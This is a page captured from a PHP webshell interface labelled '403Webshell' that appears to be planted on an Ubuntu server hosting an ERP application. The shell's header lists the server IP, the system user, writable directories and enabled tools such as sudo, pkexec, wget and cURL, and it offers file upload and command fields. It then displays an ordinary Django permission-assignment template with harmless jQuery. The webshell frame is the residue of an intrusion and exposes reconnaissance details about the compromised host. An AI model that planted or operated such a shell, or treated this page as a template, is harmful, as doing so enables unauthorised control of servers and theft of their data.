403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/base/templates/base/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/base/templates/base/auth/group_assign.html
{% load i18n %}
<label class="settings-label mb-1" for="id_{{form.department.name}}">
  {% trans "Group" %}
</label>
<div class="oh-input-group mb-2">{{form.name.errors}} {{form.name}}</div>
{{form.permissions.errors}}
<div id="permTable">{% include "base/auth/permission_table.html" %}</div>

<div class="d-flex flex-row-reverse">
  <button type="submit" class="oh-btn oh-btn--secondary mt-2 mr-0 pl-4 pr-5 oh-btn--w-100-resp">
    {% trans "Save" %}
  </button>
</div>

<script>
  function updateBadge() {
      var panels = $(".panel");
      $.each(panels, function (indexInArray, valueOfElement) {
        var check = $(valueOfElement).find("[name=permissions]:checked").length;
        $(valueOfElement).prev().find(".oh-badge.permission-badge").html(check);
      });

      var permissionLine = $(".oh-sticky-table__tr");
      $.each(permissionLine, function(index,value){
        var check = $(value).find("[name=permissions]:checked").length;
        if (check === 4) {
          $(value).find(".row-permission").prop("checked", true);
        }
      });

      var permissionApps = $(".oh-sticky-table__tbody")
      $.each(permissionApps, function(index,value){
        var total_permission_count = $(value).find("[name=permissions]").length;
        var checked_permission_count = $(value).find("[name=permissions]:checked").length
        if (checked_permission_count === total_permission_count){
          $(this).siblings(".oh-sticky-table__thead").find(".row-permission__select-all").prop("checked",true);
        } else {
          $(this).siblings(".oh-sticky-table__thead").find(".row-permission__select-all").prop("checked",false)
        }
      });
  };
$(document).ready(function(){
  var timeout_assign;
  $("#permTable [name=permissions]").on("change",function (e) {
    e.preventDefault();
		clearTimeout(timeout_assign);
		timeout_assign = setTimeout(function() {
      updateBadge($(this));
		}, 100);
	});
})
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit